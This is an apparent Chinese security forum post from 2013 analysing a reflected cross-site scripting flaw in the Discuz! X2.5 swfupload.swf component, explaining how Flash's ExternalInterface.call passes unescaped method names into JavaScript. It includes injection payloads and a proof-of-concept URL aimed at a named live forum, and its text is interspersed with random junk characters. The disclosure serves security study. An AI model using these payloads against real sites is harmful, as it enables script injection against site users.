找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2267|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说% R% U$ ~3 s( j; Q, T

* [# u% ]9 j7 J$ r% o3 W& s/ t4 Gflash.external.ExternalInterface.call($methodName, $parameter)- O; s9 \5 W& X  J1 X( ]5 B! a
在浏览器中执行的是
$ Z% [$ H& |& g  [1 w/ h, G; L% u& p5 u  I! a$ e; U
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% M& t: `2 L- @: D7 Q对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如! V, D+ y; p0 z' F8 q/ u7 o  h+ b
+ B5 C) L. m. j2 g- b% E0 p# @% y
flash.external.ExternalInterface.call("object."+$methodName, $parameter), G" m+ @3 K7 x7 ]: g; {2 B0 J
$methodName = a())}catch(e){alert(/xss/)}//
, ^1 J: d, C  ~* w结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
" m2 E7 v/ N& L7 Q1 n2 s* \7 B/ i
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
9 X* Y8 I8 y$ C- F; e
0 f' v3 {# F; b; p/ Q4 o( f这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
: X( O  L" O; i2 @杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。" d9 @" L  t' n2 _9 F
! _, u2 ]' A9 S, x  D2 q' h

+ `% o, G3 n6 |: |3 U. T" p8 A$ Y; z# y* k. @/ F" y: U
漏洞文件:upload\static\image\common\swfupload.swf  x9 N/ {9 i& n; @
! s6 n& Y. L" p9 x
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
2 m! v/ Y6 r$ H( k7 I8 L' b( `! ~, E9 N0 K% A: i' F

4 T# R5 s8 c+ k2 W5 l8 u; ?漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//2 i9 v* Y% v( o- K) ~8 _& M
: |6 f& Q5 o8 l7 x
! b. w, Z( D; b( ^# ~5 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表